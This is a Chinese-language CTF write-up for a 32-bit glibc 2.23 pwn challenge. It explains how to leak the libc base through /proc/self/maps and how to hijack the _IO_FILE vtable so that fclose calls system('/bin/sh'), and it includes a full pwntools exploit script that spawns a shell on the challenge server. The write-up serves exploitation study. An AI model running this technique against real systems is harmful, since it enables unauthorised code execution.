前置知识
glibc2.23
下的_IO_FILE
虚表劫持/proc/self/maps
文件
整体思路
非常典型的一道glibc2.23
下的IO_FILE
虚表劫持题(不过是32
位)。尽管glibc2.23
下的虚表劫持已经是时代的眼泪了,但不妨将其视为高版本glibc
的IO_FILE
利用的基础,一起来回顾一下。
查看程序,可以打开文件,读取到内存,并输出到标准输出流,但是不能打开和输出与flag
字符串有关的文件。
此外,菜单的第5
项可以覆盖掉文件指针fp
,并紧接着就对fp
调用了fclose
。这种情况时,我们只需要劫持fclose
过程中调用的虚表函数指针为system
,即可执行system
函数。
由此,我们输入5
,并将fp
的地址写为name
的地址(因为这部分我们可以进行控制),随后在name
处写/bin/sh\x00
(因为最终会调用__close('/bin/sh\x00')
)。接下来,在偏移0x94
处的地方写一个vtable
的地址。这个地址我们如何决定呢?我的方法是,先将system
函数写在可控的name
的某处,再将vtable
的地址反推为构造的system
函数的地址减去16*4
个地址(这是因为__close
函数在vtable
中的位置为第16
个)。如此一来fclose
函数就会执行system('/bin/sh')
,从而获得shell
。
其中需要注意的点:
-
libc
的地址可以通过打开/proc/self/maps
文件获得,其中self
表示当前进程,该文件内容和vmmap
显示的信息类似,存放进程的内存信息; -
fp
指针指向的内存全部填充为0
会导致程序崩溃,例如偏移0x48
处,我这里填写为name
地址加上0x10
。这种导致崩溃的可以通过调试汇编来看看是为什么导致的(如果你不会,那么很难解IO_FILE
相关的题目) -
BUUCTF上的这道题的libc版本是32位的glibc2.23-0ubuntu5,需要注意
exp
from pwn import *
from LibcSearcher import *
filename = '/1'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('/glibc/2.23-0ubuntu11_i386/libc.so.6')
libc = ELF('./libc_32.so.6')
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', 27155)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = 'Your choice :'
def open(filename):
sh.sendlineafter(choice_words, '1')
sh.sendlineafter('see :', filename)
def read():
sh.sendlineafter(choice_words, '2')
def write():
sh.sendlineafter(choice_words, '3')
def close():
sh.sendlineafter(choice_words, '4')
def quit(name):
sh.sendlineafter(choice_words, '5')
sh.sendlineafter('name :', name)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
# 32位下,vtable的偏移是0x94,而不是64位的0xd8。
# 实际上,32位下很多偏移最好都去调试一下看下究竟是多少
vtable_offset = 0x94
# 通过/proc/self/maps,可以查看当前进程的vmmap信息,其中包括程序基地址、libc地址等等
open('/proc/self/maps')
read()
write()
sh.recvuntil('[heap]')
libc.address = int(sh.recvuntil('-', drop=True).strip().decode(), 16) + 0x1000
leak_info('libc.address', libc.address)
# debug()
close()
# 上面已经泄露了程序基地址。我们通过劫持vtable中的close函数来getshell。
file_addr = 0x0804B260
lock_addr = file_addr + 0x10
vtable_addr = file_addr + 0x24 - 16*4
leak_info('lock_addr', lock_addr)
leak_info('system', libc.sym['system'])
payload = b'/bin/sh\x00' + b'\x00'*0x18 + p32(file_addr) + p32(0) + p32(libc.sym['system'])
payload = payload.ljust(0x48, b'\x00') + p32(lock_addr)
payload = payload.ljust(vtable_offset, b'\x00')
payload += p32(vtable_addr)
# debug()
quit(payload)
# pause()
sh.interactive()
# pause()
参考文献